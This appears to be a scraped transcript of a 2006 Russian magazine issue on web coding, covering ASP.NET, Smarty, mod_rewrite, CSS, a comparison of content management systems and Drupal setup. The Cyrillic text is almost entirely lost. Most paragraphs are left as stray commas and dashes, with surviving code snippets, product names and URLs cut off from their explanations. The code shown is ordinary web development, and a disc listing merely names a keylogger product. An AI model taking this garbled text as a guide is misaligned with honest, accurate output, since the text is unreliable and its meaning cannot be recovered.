WEB CODING

download WEB CODING

of 100

description

web coding (russian)

Transcript of WEB CODING

  • WEB 2.0 . HTML. Web- , - .

    PHP CMS , AJAX web- . - ...

    , - , - . , -, !

  • 06 web 08 ASP.NET12 16 18 CSS CSS22 28 Drupal 34 web-

    38 !

    42 WEB-Web 2.0 , 48 PHP5 & ndex.XML52 AJAX

    56 IPHP-60 SPECIAL DELIVERY

    62 SPECIAL Defa Gruppe66 SPECIAL 68 SPECIAL 72 SPECIAL FAQ

    . . , , . .

    AvaLANche ([email protected]) Dr.Klouniz ([email protected]) ([email protected])CD/OFFTOPIC SkyWriter ([email protected]) ([email protected])- ([email protected]) ([email protected])

    (game)land ([email protected]) ([email protected]) E ([email protected]) ([email protected]) ([email protected]) , ([email protected])- ([email protected]).: (495) 935.70.34: (495) 780.88.24

    ([email protected]) ([email protected]) ([email protected]).: (495) 935.70.34: (495) 780.88.24

    PUBLISHING ([email protected]) ([email protected]) ([email protected]) ([email protected])

    .: 8 (800) 200.3.999 ( )

    101000, , , / 652, [email protected] http://www.xakep.ru

    ScanWeb, , 77-12014 4 2002 . 42 000 . .

    06(67) 2006

    www.xakep.ru

  • offtopic

    HARD

    74 SOFT

    80 NONAME nnm.ru82 ADMINING .

    CREW

    86 E- !STORY

    88 THE SHOW MUST GO ON96

    . HTML-, , , . DEFAGRUPPE. DEFAGRUPPE, . : MTV, P&G, , , , UPECO, RITZIO ..

    -

  • CD:CMSDrupal 4.7.0 (+RU)eZ Publish 3.8.0Joomla! 1.0.8Joomla! 1.1.0 alpha2Apache Lenya 1.2.4PHP Nuke 7.8Typo3WebGUI 6.7.7Wordpress 2.0.2Xaraya 1.1Xoops 2.0.13.2

    Apache 1.3.36Apache 2.0.58Apache 2.2.2Cocoon 2.1.9Tomcat 5.5.17JRE 1.5.0.06Denver 2006-04-25ActivePerl 5.6.1ActivePython 2.4.3PHP5 2.6.1MySQL 4.1PostgreSQL 8.1.0.NET Framework 1.1/2.0 RU/ENInstant RubyOnRails 1.3

    AJAX.NET (5.11.4.2/6.5.17)ComponentArt WebUI Subsys JsHttpRequestPrototype 1.4.0script.aculo.us web 2.0MagpieRSS 0.72ZendFramework 0.1.3NuSOAP 0.7.2Smarty 2.6.13

    NONAMEFlaming Pear Flexify v2.02Gmetal Guikit Windows XPEscapeClose Pro 2.0PDF Image Extraction Wizard 1.0FastStone Image Viewer 2.6 Beta 2Copy DVD Gold 2.12EVEREST Ultimate 2.80.577 BetaStardock ObjectDock Plus v1.3Remote Administrtor 3.0 Beta 1htm2chm 3.0.9.3Perfect Keylogger 1.6.2Fetch Text URL 1.6LimeWire Pro 4.11.0.1.FinalAdvanced RAR Password Recovery (ARPR)BearShare Pro 5.2.3.10

    + WINDOWS

    - , , - -. - . ? - -, - ! -. ? - ! . !

  • , PHP(w w w . p h p . n e t ) -- , -. - - . , PHP Personal Home Page Tools. 1999 , - PHP, - . PHP , -

    Windows Unix Linux.

    6 | 0 6 6 7

    (0.6.2) Apache (w w w . a p a c h e . o r g ). Apache Group - - , . - -

    , - , - - .., - - web- Apache .

    RSS (w w w . e o p t a . c o m / s p e c / r s s / ) XML-, - -, , .. - , - RSS, , - - -.

    RSS-, : Safari,Maxthon, Mozilla Firefox, MozillaThunderbird, Opera MicrosoftInternet Explorer.

    1994

    1995 1997

    ( ), ,

    { a n d r u s h a @ r e a l . x a k e p . r u }

    - (w w w . w 3 . o r g ), , . - . - - :HTML, CSS, XML, XHTML .. - , - ( w w w . w 3 . o r g / 2 0 0 5 / 1 1 / T r a n s -l a t i o n s / L i s t s / L i s t L a n g - r u . h t m l ).

    1994

  • | 7

    web-(w w w . w e b m a s c o n . c o m ). - , web--, . ,, web-. - :w w w . a l i s t a p a r t . c o m ,

    w w w . u s e i t . c o m / a l e r t b o x / ,

    w w w . b o x e s a n d a r r o w s . c o m ,

    w w w . d i g i t a l - w e b . c o m ,

    w w w . s t o p d e s i g n . c o m ,

    w w w . a d a p t i v e p a t h . c o m .

    SOAP (w w w . w 3 . o r g / T R / s o a p / ) - . - SOAP - (RPC), : Simple ObjectAccess Protocol . SOAP - - XML, .

    .NET ( -) , - Microsoft ( w w w . m i c r o s o f t . c o m -/ n e t / d e f a u l t . m s p x ) - , web-. .NET -, Java. .NET -

    , . , -, C++ .NET, - , Delphi. () .NET , .

    AJAX( JavaScript + XML) Gmail (w w w . g m a i l . c o m ). , AJAX

    : AJAX- ( - IE, Firefox Opera ).

    Web 2.0 Tim OReilly What Is Web 2.0 (w w w . o r e i l l y n e t . c o m /p u b / a / o r e i l l y / t i m / n e w s / 2 0 0 5 / 0 9

    / 3 0 / w h a t - i s - w e b - 2 0 . h t m l ) . -

    , , -- Web 2.0., - .

    1999 1999

    2002 2004

    2005

  • . ASP.NET . MySpace.com, ASP.NET 2.0 IIS 6.0. . , ? - . MySpace.com ASP.NET ( - -, , ). - 85% 27%. ? web- !

    ? ? , . . , -windows- - web- , MSN eBay. - web-. , , -

    ASP.NET , , . , -, .

    ASP, , -. - .

    , - CGI (Common Gateway Interface), ISAPI (InternetServer Application Programming Interface). web-

    Unix, - -. , - CGI-. , . ISAPI--, , - (DLL), - web-. - - web-. - ISAPI- .

    8 | 0 6 6 7

    ASP.NET MICROSOFT , WEB- . ASP.NET

    { n o e - m a i l }

    A S P

  • web-, web- web . , - web-, - , , - , . ASP (Active Server Pages) . - -, -. , -. - ASP-. - , .

    AASP.NET. ASP.NET :

    .NET;

    (COMMON LANGUAGE RUNTIME CLR);

    .NET;

    ASP.NET;

    VISUAL STUDIO .NET.

    , - . - - - ASP.NET.

    1 W E B - - . - HTML-- ASP.NET - . - (CMS).

    2 - . - : - , -, , -, , www.asp.net.

    3 . - ADO.NET - . - ADO.NET MICROSOFT .

    4 , - - , . -, .

    5 X M L . - XML, - . -, ASP.NET, - XML--. XPATH -, XSL -. ASP.NET VISUALSTUDIO, - . - MICROSOFT .

    . ASP.NET .NET Frame-work , - .

    | 9

    , ..NET FFramework

    1 . 1 2 . 0

    namespace WebApp1{

    public class WebForm1 : Page{

    protected Label Label1;private void Page_Load(object sender, System.EventArgs e){}#region Web Form Designer generated codeoverride protected void OnInit(EventArgs e){

    InitializeComponent();base.OnInit(e);

    }private void InitializeComponent(){

    this.Load += new System.EventHandler(this.Page_Load);}#endregion

    }}

    namespace WebApp1{

    public partial class Webform1{}

    }

    .NET, C#, . - C, -, 25% , 75% . C++ : 50% 50%. C#, , 75% 25% .

  • - wweb- . , - .

    . - web- - ( aka ). ,

    - web-.

    . -, .

    -. - , -, -

    web-.

    . 30%. - web- IIS 6.0 , Windows.

    AASP.NET: .

    WEB-. - - - -.

    .NET FRAMEWORK-. - - E-MAIL-, XML-, - , .

    . . - - MICROSOFT - -, - . - , -, ., , - MICROSOFT .

    , - . -- , - - , -

    Zend PHP

    1 0 | 0 6 6 7

    ASP.NET , -, -. , .

    A S P . N E T P H P 4 P H P 5 J 2 E E

    , 5 3 4 5 5 4 4 5 5 2 2 4 5 3 3 5 5 4 4 3 4 5 5 4 5 5 5 5 2 3 4 5 5 3

    , . , -

    (Intel) 4,05 4284 80C (gcc) 4,12 4528 80C++ (g++) 5,05 7008 38C++ (Intel) 5,23 6516 38Java (JDK) 8,23 23636 39C# (Mono) 8,45 21416 42Perl 249,39 37516 36PHP 519,68 99912 40

  • C#, VB.NET, J#.NET . - - : - , - .

    . - VISUAL STUDIO., , ASP.NET.

    . MSDN , , - .

    A S P . N E T .

    ASP.NET

    , .

    ,

    WEB-

    -

    -

    .

    : . -

    , - WEB-, - MICROSOFT. : , , . - .

    . - - . - -. , ASP.NET- - .

    . - MICROSOFT ,- .

    -. - Microsoft , - ASP.NET -windows-. , - ASP.NET, MonoProject (www.go-mono.com). - , - -, .

    . - , - ASP.NET -. , web-. , -

    . , - , - web-.

    , - . , - : , . , -, : -, -. .

    . ASP.NET . , .

    - J2EE PHP C# ASP.NET, , . , web-. Microsoft - Windows Embedded, .

    ? : - Visual Studio, - Mono Linux Gentoo. , - . . , Mono Novell, Microsoft - , -. - - . , - web-, Apache XSP.

    Windows , , , , - ASP.NET, Microsoft - ,

    | 1 1

    .NET

    #

    VB.NET ...

    .NET

    ADO.NETWeb-

    XML /

    ..

    (CLR)

    VS ASP.NET

  • 1 2 | 0 6 6 7

    . , . .

    . . , , . , - . - .

    . - , , - , , . , - -. - - , , - .

    , - .

    , - - . - - , -

    { n o e - m a i l }

    , , -. - HTML. PERL + HTML PHP + HTML, - , - HTML-. . , , - . -, . , - , , .

  • | 1 3

    . . , , usability. - -, . , , - , , , - . , - , , .

    , : .

    . - , ( , - 200 ), HTML, .

    . - , -, , : , , -, , , CMS -- . , , , -, .

    . - . , - , . . - usability-: , - - . - , .

    . , , - usability. , - - , .

    , usability - . , -

    -, . - - .

    , - usability:

    1 ( ) - , - ( , ), .

    2 - , - , - . - , - ( ).

    3 , - -, - , ., - , , - - . , - . - - .

    4 -: - , -

    , -.

    5 , , - .

    6 - , . .

    7 -, - . .

    8 ( , www.bluevertigo.com.ar).

    . Web- : Adobe Photoshop Macromedia Flash. Adobe Illu-strator - , , . ( - Adobe Type Manager) .

    , web--, . - , - , .

    , . .

    Adobe Photoshop ,

    UltraEdit , .

  • 1 4 | 0 6 6 7

    - , - ( Verdana, Tahoma, Arial), - ( , - - ) , .

    . - - () -, . ( ).

    - ( ) . - , : , - , - . - , CMS.

    . ,

    DEFA Gruppe - W3C, , - , CSS. - H1H5. , , . title , alt (, , , - ) ..

    , - , - . - , - , .

    MacromediaDreamweaver HomeSite. - , , -. , , EditPlus , .

    - , - . . , flash- javascript, - flash-, . flash, html-, flasha. javascript, .

    . - , , . , - : PHP, MySQL, XML, CSS .

    . PHP-- (), -, . - , , , - , - .

    CMS ( - . .), - , , - . CMS , . , ibrowser, - - HTML- FCKeditor. - CMS. Mambo CMS .

    , web-- -, *nix . UltraEdit web-,

    Macromedia Dreamweaver 8 HTML-, PHP, PERL, CSS, JavaScript

    Dreamweaver , help, valida-tor, autocomplete

    Macromedia Homesite , - HTML-

  • GamePost

    !

    GamePost

    FFaahhrreennhheeiitt ((IInnddiiggoo PPrroopphheeccyy))

    $69.99

    :

    FFaahhrreennhheeiitt (( IInnddiiggooPPrroopphheeccyy)) 22000055 .. ,, ,, ,, .. ,, ,, - ,, - ,, - ..

    ::

    Adventure

    :

    GGuuiilldd WWaarrss MMMMOORRPPGG - ,, ,, - .. - ,, - .. ..

    ::

    RPG

    AAggee ooff EEmmppiirreess IIIIII

    $79.99

    :

    AAggee ooff EEmmppiirreess IIIIII XXVVII-XXIIXX .. ,, - .. - ..

    ::

    Strategy

    * * *

    GGuuiilldd WWaarrss SSppeecciiaall EEddiittiioonn ((EEUURROO))

    $79.99

  • 1 6 | 0 6 6 7

    Smarty. - , . Smarty , PHP.

    . -, , - . - , , , - , - .. .

    . , Smarty - - -. Smarty - {}, -, PHP, .

    Smarty, Smarty, http://smarty.php.net.

    . Smarty - , . input -, , - select- , , - {foreach}.

    scape. - Smarty, , - , - HTML, - PHP, - Smarty.

    SSmarty{$articleTitle}

    {$articleTitle|escape}

    {$articleTitle|escape:"html"}

    {* & " ' < > *}

    {$articleTitle|escape:"htmlall"}

    {* , *}

    {$articleTitle|escape:"url"}

    {$articleTitle|escape:"quotes"}

    , -mail , , . : , , .... Escape.

    -mmail{$EmailAddress|escape:"hexent-

    ty"}

    -mmail , v

    61;sunja@

    gmail.c

    om

    hhtml_options. , .

    {{foreach}{foreach from=$dataselect item=item}

    {$item.value}

    {/foreach}

    if, . . html_options, PHP - .

    $oParser->assign(optionts,Array

    (key=>value, key1=>value1,

    key2=>value2, key3=>value3);

    $oParser ->assign('defaultopt', key2);

    -

    {html_options options=$optionts

    selected=$defaultopt}

    ccycle. - . : , .. !

    ( , - )

    $smarty, - , - php-

    {$name} {$time}

    - Smarty PHP-

    WEB- . WEB- . ,

    { w w w . d i f o c u s . r u }

    $tim

    e

    $nam

    e

  • {section name=rows loop=$data}

    {$data[rows]}

    {/section}

    pplug-iin'. Smarty - plugins. - , . -, - -

    .

    -,

    , {$name|lower}!

    {$time}.

    . -, .

    , PPHP-

    , {join array=$name

    separator= }!

    {$time}.

    . , . ! , Smarty

    | 1 7

    MOD_REWRITE

    web- Apache 1996 TheApache Group 1997. ( ), URL . - , - - URL. URL - , , - , HTTP-, - URL - .

    ! - , -, - . mm o d _ r e w r i t e .Mod_rewrite - (- URL). , -

    : - , - : /news.php?date=21-12-2006. URL, -: /news/2006/12/21. mod-rewrite - .htaccess.

    .htaccess, UURLRewriteEngine OnRewriteRule /news/(\d{4})/(\d{2})/(\d{2}) /news.php?date=$3-$2-$1

    . , - www . mod-rewrite - - www.

    wwwwRewriteEngine OnRewriteBase /RewriteCond %{HTTP_HOST} !^vpup.com$RewriteRule ^ http://vpup.com%{REQUEST_URI} [R=301,L]

    , mod_rewrite - URLs . (- URL).

    URL

    RewriteRule

    RewriteRule

    RewriteRule

    URL

    - -

    , , SMARTY. ( , SMARTY) http://smarty.php.net

  • 1 8 | 0 6 6 7

    - . - , - . , - CSS, - . , , . - , - , . -, , , . -? , -- , -

    , -. -, web--. ... - . : ! , - . -, - -

    - -, () - W3C, web- -, . , - , , .

    . , - , -. - - HTML. web- , web , - . - , , .

    web - , - . -

    :

    W W W . I N F O . C O M . P H / ~ E T A N / W 3 P A N T H E O N / S T Y L E / A B M H . H T M L

    CCSSSS CSS

    CSS (CASCADING STYLE SHEETS) - HTML, XHTML,XML. WEB. - ( ) -,

    { v l a d @ o n t h e f l y . r u }

  • | 1 9

    web- - , HTML -, - . , - web-, - , - .

    - , , - HTML, - . , HTML, , . , Best viewed with... .

    . , CSS ( W3C 1996 ), (Cascading StyleSheets). , -, , , -. HTML, - , CSS , , - .

    - CSS , : , , - CSS .

    Microsoft, -

    . , -, web, CSS . web- --.

    CSS HTML web-- - ( ) . , , . , - . web- , - , -. , Opera. - -, (-!) .

    , - W3C Mozilla. : , , MacBU, - Tasman HTML. -- web- , - PNG.

    . MacBU Microsoft. 200 - Macintosh - Aplle. Tasman - Internet Explorer 5.5 Macintosh, 2000 . , - Safari MacBU , - - .

    . , - CSS - - . - : )

    ( -); ) - - (); ) - - - - (, ..) . CSS :

    1 HTML- - ;

    2 ( );

    3 - ;

    4 - - , ;

    5 - ;

    6 - (, - ..).

    web- - , :

    1 ( ), , , - :

    ) . *.CSS, HTML-. :@IMPORTURL(/STYLES/SCREEN.CSS);

    ) . CSS HTML-:

  • MEDIA="SCREEN">.STYLE {FONT-FAMILY:VERDANA,SANS-SERIF}

    ) , - - - STYLE :

    2 . - ( OPERA) - , CSS- - -. - .

    3 . , HTML .

    . - !important, - -. , - , - -. .

    . CSS- . - , (padding) (bor-ders). - Internet Explorer( 6), . IE , . - Netscape 4 Opera 7.

    CSS3 box-sizing, , content-box , border-box - IE. Mozilla, CSS3, -moz-box-sizing. , - ( ) padding-box, -, - , .

    (X)HTML- - (DOCTYPE). .

    - , (quirks-mode) - W3C, . - web- IE6: XHTML 1.0Transitional, (), - quirks-mode, , - . , - .

    CSS -, - . , , - . , - , - 20-30% ( ), -- .

    . - web- - , , . -: - ... - CSS. CSS-. , - , -. :

    /* */

    { width: 100px; padding: 10px;

    border:10px; }

    /* IE

    */

    * html { width: 140px;

    padding: 10px; border:10px; }

    www.webmascon.com web- web-www.alistapart.com for people who make web-sites ;)http://glish.com/css CSS . www.meyerweb.com/eric/css CSS www.artlebedev.ru/tools/technogrette

    2 0 | 0 6 6 7

    C S S

    AZIMUTHBORDER-COLLAPSEBORDER-SPACECAPTION-SIDECOLORCURSORDIRECTIONEMPTY-CELLSFONTFONT-FAMILYFONT-STRETCHFONT-SIZEFONT-SIZE-ADJUSTFONT-VARIANTFONT-WEIGHTLETTER-SPACINGLINE-HEIGHTLIST-STYLELIST-STYLE-IMAGELIST-STYLE-POSITIONLIST-STYLE-TYPEORPHANSPAGEPAGE-BREAK-INSIDEQUOTESSPEAKSPEAK-HEADERTEXT-ALIGNTEXT-INDENTTEXT-TRANSFORMVOLUMEWHITE-SPACEWIDOWSWORD-SPACING

    P { P {border: 1px solid #f00;color: #336699; font-weight : bold;border-style : solid; color: #369;border-width : 1px; line-height : 1.3em;border-color : #ff0000; margin: .7em 1.3em .7em .4em}font-weight : bold;line-height : 1.3em;margin-bottom : .7em;margin-left : .4em;margin-right : 1.3em;margin-top : .7em;border-color: #c06565;

    }

  • , , Microsoft, Opera 5 Netscape4 . , Netscape @import. - , . , - : - , - . CSS- - www.dithered.com/css_filters/css_only.

    Microsoft: . ( - Conditional Comments), - InternetExplorer 5.x.

    , , - - Javascript - . , , - .

    . CSS printer-friendly . , , - none display;. - - , , , . , ( -) . . , , .

    ( -), . - , Microsoft Office.

    - . , , -, , . - . . - , - , , - .

    - - . Mozilla (- , Gecko:Firefox, Netscape, Camino .), - , float. , - . , ,. , - : - float none .

    , CSS.Going to Print A List Apart. : , - , - URL ( ?). - - CSS2. - URL . - Mozilla Netscape 6.x.

    a:link:after, a:visited:after {

    content: " (" attr(href) ") ";

    font-size: 90%;

    }

    , , - ( ) - . , ( !)www.webmacson.com. , , - ... , - . :). , , - WebTV, . , - , RGB, - , -

    | 2 1

    HHTML 44 SStrict

    IInternet EExplorer DDOCTYPE (quirks )

    d o c t y p e W i n / I E 5 W i n / I E 6 M a c / I E 5

    HTML 4.01 Transitional - doctype quirks quirks quirks HTML 4.01 Transitional - URL doctype quirks quirks quirks HTML 4.01 Transitional - doctype XHTML 1.0 Transitional - doctype quirks quirks quirks XHTML 1.0 Transitional - URL doctype quirks quirks XHTML 1.0 Transitional - doctype quirks quirks XHTML 1.0 Transitional - XHTML 1.0 Transitional - URL

  • 2 2 | 0 6 6 7

    - . , . . - - -

    { b o r i s v o l f s o n @ g m a i l . c o m }

  • | 2 3

    - - - , - , ,, -- . , - - . - eZ pu-blish -

    -, . - . -, , - - - .

    ( - 1.0.8), - , . Joomla Mambo - - . , - - - - Open Source.

    Mambo (Joomla)

    - - . - , - . - - - web-. CMS - zip-, Joomla - . - - . Joomla , - - - web- - .

    eeZZ pp

    uubblliiss

    hh 33..

    xx

    ww

    w.e

    z.no

    : 9

    M

    JJoooomm

    llaa ((

    MMaamm

    bboo))

    ww

    w.jo

    omla

    .org

    ww

    w.m

    ambo

    serv

    er.c

    om

    :

    2

    M

    . -, - , web- , , - . Perl. - - , - . , CMS -. , PHP, MySQL CMS, . , CMS (Content Manage-ment System ), . , - .

    phpBB, phpNuke, Mambo, Joomla Drupal , , - .

    CCMS? -, . CMS - - web-, -, ( ).

    CMS , .

    CMS, , - web- Apache, - IIS. PHP Perl, . MySQL . , CMS .

  • 2 4 | 0 6 6 7

    PPHH

    PP NN

    uukkee

    http

    ://ph

    pnuk

    e.or

    g

    :

    6 M

    TTyypp

    oo33

    http

    ://ty

    po3.

    org

    : 7

    M , -

    - - -. , Typo3 CMS, CMF Content Ma-nagement Framework. - , , - (

    Epson Philips) - -. , - -. - Typo3 , - .

    CMS. , - - Nuke -, -. -, PHP-Nuke - - , - -, -. - -

    -. - Nuke -, - SQL- - CMS. .

    cmsmatrix.org, - - . . , - ,

    WebGUI . , Perl, - CMS.

    WWeebb

    GGUU

    II

    ww

    w.p

    lain

    -bl

    ack.

    com

    /web

    gui

    : 3,

    5 M

    WWoorr

    ddPPrree

    ssss

    http

    ://w

    ordp

    ress

    .org

    : 0,

    5 M

    -. - , . CMS, -

    , WordPress. - .

  • e Z p u b l i s h 3 . x J o o m l a ! 1 . 0 . 7 P H P N u k e 6 T Y P O 3 4 . 0 W e b G U I 6 . 8 W o r d P r e s s 1 . 5 X a r a y a 1 . 0 X o o p s 2 . 0 6

    Google 1 5 710 000 91 400 000 76 600 000 13 300 000 589 000 174 000 000 2 030 000 31 300 000 2 16 100 104 000 332 000 4 760 702 952 000 6 960 90 200

    MySQL MySQL MySQL MySQL MySQL MySQL MySQL MySQLPostGreSQL Postgres PostGreSQL MySQLi

    Oracle mSQL Oracle PostgreSQLMSSQL Interbase MSSQL SQLite

    Sybase PHP PHP PHP PHP Perl PHP 4.1.0 PHP PHP 4.1.0

    Captcha 3 -mail 4 5

    API 6

    (Drag and Drop)

    e-mail 7

    ( URL) 8

    WYSIWYG- 9 Zip- 10

    11

    | 2 5

  • 2 6 | 0 6 6 7

    Nu-ke, -. Xaraya - - PostNuke. Xaraya -, -

    - - XML. , CMS - - .

    XXaarr

    aayyaa

    http

    ://xa

    raya

    .org

    : 3,

    8 M

    XOOPS (eXtensible Ob-ject Oriented Portal Sy-stem) -- - . -, MySQL. - -

    ( - ). CMS, . Xoops - nuk - .

    XXoooo

    ppss

    http

    ://xo

    ops.

    org

    : 1,

    1 M

    1 G O O G L E , GOOGLE , CMS. JOOMLA -

    JOOMLA | MAMBO.

    2

    CMS. GOOGLE .

    3 C A P T C H A , -

    -, -

    .

    4

    , ,

    LDAP.

    5

    , ,

    .

    6 ,

    , .

    7 E - M A I L

    .

    8 ( U R L , ) ,

    .

    9 W Y S I W Y G - JAVA-SCRIPT, -

    , -

    HTML.

    1 0 Z I P - ZIP--

    , (

    ), .

    1 1 .

    1 2 .

    1 3 .

    1 4 ( ) -

    .

    1 5 DOWNLOAD, -

    .

    1 6 . -

    .

    1 7 - -

    ( BUGZILLA).

    1 8 .

    1 9 -

    , , .

    2 0 .

  • | 2 7

    12 /

    / Web- Web-

    RSS FTP UTF-8

    CGI 13 URL Wiki

    () 14

    (FAQ) 15 . 16 17 18 19 RSS () 20 Web-

  • 22000 Dru-pal. druppel -, . - (Dries Buytaert), ( - ) .

    DDrupal, - ? -, CMS , . Drupala ( ): -

    (. ) - (. -). - , CMS . Drupal , Smarty, PHPTemplate. - , CMS Drupal , (http://the-mes.drupal.org).

    , CMS . - : - . , ( -) Drupale - , PHP ( : - ). - , - - - , HTML.

    1.

    1 0

    D A T A B A S E A D M I N I S T R A T I O N DRUPAL.

    F L E X I N O D E - .

    V I E W S - .

    T I N Y M C E W Y S I W Y G E D I T O R .

    T A X O N O M Y C O N T E X T - .

    G O O G L E S I T E M A P - .

    A T T A C H M E N T .

    N I C E M E N U S .

    B O O K M A R K S .

    C A P T C H A -.

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    - . - - . DRUPAL !

    { b o r i s v o l f s o n @ g m a i l . c o m }

    DRUPAL

    2 8 | 0 6 6 7

  • , HTML .

    , web-, - . -, - Drupala. PHP, HTML CSS. -, web- PHP, - . , - PHP-, , , --. -, , .

    ! Drupal, - web-, PHP, - Apache 1.3.x 2.0.x. - IIS . PHP, 4.6 - PHP 4.3.3 . - MySQL PostegreSQL, , MySQL , - - SQL- MySQL.

    CMS? , , - CMS. - , , - . voila! ! , - , - . - : -, - .

    , drupal.org. . , - \sites\default\settings.php $db_url = 'mysql://userna-me:password@localhost/databasename';. us-ername password . localhost , - , databasename -. , drupal47, - drupal a8j4dt6. , - : $db_url = 'mysql://drupal:a8j4dt6@lo-calhost/drupal47';.

    , , : $base_url = 'http://www.example.com';, . web-. , SQL-, - \database\database.mysql. - phpMyAdmin, -

    -. SQL-, . - .

    . , Drupal, , -, . - , . , , , - . ,, -, web-- - . - , : , , , - , . , . - , . - ( 1).

    - . administer-modules locale. . -, forum.

    | 2 9

    :

    1 README.TXT, . , .

    2 /MODULES.

    3 SQL- ( .MYSQL) DBA, PHPMYADMIN.

    4 .

    5 - , .

    6 .

  • ( http://drupal.htdogs.ru/files/NRD-drupal-ru-4.7.0-be-ta-6.zip) . main.po, . . PHP- , - , translation. , - .

    . - -, -. Clean URLs ( , ) - .

    . -, - . . Anonymoususer . . Authenti-cated user , - . Moderator . , . Admini-strator , . - . ( 2).

    . - . , . - - , - read only. -, .

    - , , .. .

    . , . , , , - . , - , - , . , - . Drupal . , - . .

    -: , -, , - . - . -, - . , -, , , , -. . , - , . - . : -, , ..

    . , , ,. CMS, Drupale , - , , - . - . -

    www.drupal.org drupal'a . http://drupalgarden.com http://drupaldocs.org api. http://www.drupal.ru , . , http://drupal.kiev1.org, http://drupal.htdogs.ru , http://civicspacelabs.org ( )

    3 0 | 0 6 6 7

    ,

    2.

  • , , - , . - , . book-marks , - - , , - .

    - -. - , : , - .

    , - . , .

    : . - , . , velo, www.velobabruysk.ru/velo. , -, Drupal (- ) , - velo. - , velo.

    - - -. , - . - .

    DDrupala

    Aggregator RSS- Archive . ,

    Block

    , Blog Book web-.

    , , FAQ Comment Contact e-mail Filter , ,

    HTML-Forum Locale ( )Menu Node Page Path URL. ,

    URL /taxonomy/term/17+19 /myfriendsPoll Drupal Profile (

    , )Search Statistics : ,

    , ..Taxonomy Throttle Denial of Service (DoS)Upload Watchdog

    .

    . .

    , .

    , .

    ( ) , .

    .

    , . .

    DRUPAL UNICODE .

    DRUPAL' .

    - .

    - DRUPAL.

    , -

    -

    ,

  • www.drupal.org Drupal'a http://drupalgarden.com http://drupaldocs.org API. http://www.drupal.ru , . , http://drupal.kiev1.org, http://drupal.htdogs.ru , http://civicspacelabs.org ( )

    3 2 | 0 6 6 7

    , , . , - . - 30- , . .

    -, , , . , , -- . , - www.velobabruysk.ru/admin/taxonomy/4. - , , www.velobabruysk.ru/ta-xonomy/term/4. -, - . - . www.velobabruysk.ru/taxono-

    my/term/4+5 , 4 / 5. -, views, web-. , , -, , .

    - -. - : , , - -. - ( 3).

    - , . ,

    3.

    SP

    E

    IA

    L

    , APACH WINDOWS. -, DRUPAL IIS, , - - CMS - APACH. , - (HTTP://DENWER.RU), . - : WEB- , -, OUT-OF-BOX.

    . - - WIN-- -, - . -, .

    ,

    -

  • | 3 3

    DDrupala

    Administration Drupala , .

    AdSense Google Adsense, . ( ). , PHPTemplate

    AJAX Spellcheck AJAX ( Google)Attachment Upload .

    Banner .

    . , ( Flash)Bookmarks , Captcha , ,

    : -Chatbox Drupal Codefilter . Database Administration Drupal. SQL-,

    , E-Commerce web- FCKeditor for Drupal FCKeditorFileRequest , .

    , .

    Flexiblock , , Flexinode web-Gallery Drupal gallery2 (http://gallery.menalto.com) Google Sitemap GoogleHtmlarea Drupal HTMLArea Image Drupal , Img_assist Internationalization Nice Menus (CSS JavaScript). , Organic groups Drupal ()Pathauto (URL-) phpBB2Drupal phpBB DrupalProject . , ,

    DrupalSite map Taxonomy Access Control ( )Taxonomy Block ()Taxonomy Browser , ,

    URL taxonomy/view/and/3,4,5Taxonomy context , , (breadcrumb),

    - Taxonomy image TinyMCE WYSIWYG Editor Drupal TinyMCE. , DrupalUrlfilter URL User Points ,

    Views web-Block Bar G2 Glossary htmlwrap , ( URL) ,

    Path Access URLPremium Recent blocks User maintenance Weight

  • 3 4 | 0 6 6 7

    . , - web-, , , -, - .

    , . web-, . .

    wweb-, , , - . , - . -, - . , . , . . - - . , , -

    , . web- - , .

    - - . , - , td:colspan rowspan . - HTML-, (In-ternet Explorer , - ), . - - , .

    c. - - div, span. div - . - (, .), div (CSS). web- , -, , , .

    - web-. - . float, , - . . - : left ( - ), right ( -

    WEB- WEB- . , - HTML , CSS - .. - WEB- -

    { b o r i s v o l f s o n @ g m a i l . c o m }

  • | 3 5

    ) none. clear - -. , both.

    . - web- - .

    -, HTML+CSS. . : XHTML 1.0 CSS sty-le.css, , index.html:

    XHTML Strict, web-. meta , - . , web- - , -. title -, link sty-le.css .

    - div all:

    HTML- , CSS. , - margin-left margin-right body. -, . div. : - , , .

    all , .

    body

    {

    margin-left: 1%;

    margin-right: 1%;

    font-family: Arial, Helvetica, sans-serif;

    font-size: 10pt;

    background-color: #FDFDEF;

    }

    div

    {

    margin: 0px;

    h t m l - . CSS ( ), ,, , -. - : HTML, CSS, - . HTML , - ( ). . FIELDSET, - LEGEND - . - :

    , - . - - - AC-CESSKEY. DISABLED READONLY - (, ) -. LABEL -, - . - : - , , . - . , - : -., - -. , , , - .

    fieldset legend

    HTML- VS.

    , web-- NotePad, HTML-, web- ( -, , Dreamweaver). , - - . - , web-, . -

    , .

    - - FAR, - . - , - . -: (, , FAR -), , , . - , - -, - .

    , -. -, , . - : - . , - p align, center, span - align left. , Dreamweaver - . , .

  • padding: 0px;

    border: 0px;

    /* border: 1px solid black; */

    }

    .all

    {

    }

    ., , div all. . - , - ( ) . , -. index.html:

    -

    -

    ,

    -

    logo_and_submenu - logo submenu. - - :

    .logo_and_submenu

    {

    clear: both;

    }

    .logo

    {

    float: left;

    }

    .submenu

    {

    float: right;

    margin-top: 10px;

    margin-right: 10px;

    width: 400px;

    background-color: gray;

    padding: 10px 10px 10px 10px;

    }

    , - . - , . :

    -

    , , . - . - , .

    .horizontal_menu

    {

    clear: left;

    float: left;

    padding: 7px;

    }

    .search

    {

    clear: right;

    float: right;

    margin-top: 5px;

    }

    -. . - middle. vertical_me-nu_item, main. : (breadcrumb, -) (content) - .

    www.w3.org World Wide Web Consortium, http://validator.w3.org html-, -, -http://jigsaw.w3.org/css-validator CSS-, www.htmlbook.ru html, CSS . html CSS

    :

    3 6 | 0 6 6 7

  • -

    |

    .

    . .

    .

    .

    .

    . .

    . .

    , - ? ? .

    , CSS:

    .vertical_menu

    {

    clear: both;

    float: left;

    width: 180px;

    background-color: #1F1C5B;

    color: white;

    }

    .main

    {

    margin-left: 180px;

    background-color: red;

    }

    .breadcrumb

    {

    background-color: #837C9B;

    padding: 5px;

    }

    .content

    {

    background-color: #FDFDEF;

    padding: 5px;

    }

    .middle

    {

    clear: both;

    background-color: #FDFDEF;

    }

    - : (- ) 180 , ( ) -. . . - :

    (c) 2006

    .copyright_line

    {

    clear: both;

    text-align: right;

    background-color: #837C9B;

    color: white;

    padding: 5px;

    }

    - - . ,

    . - .

    .vertical_menu_item, .horizontal_menu_item

    {

    font-weight: bold;

    font-size: 110%;

    }

    .horizontal_menu_item

    {

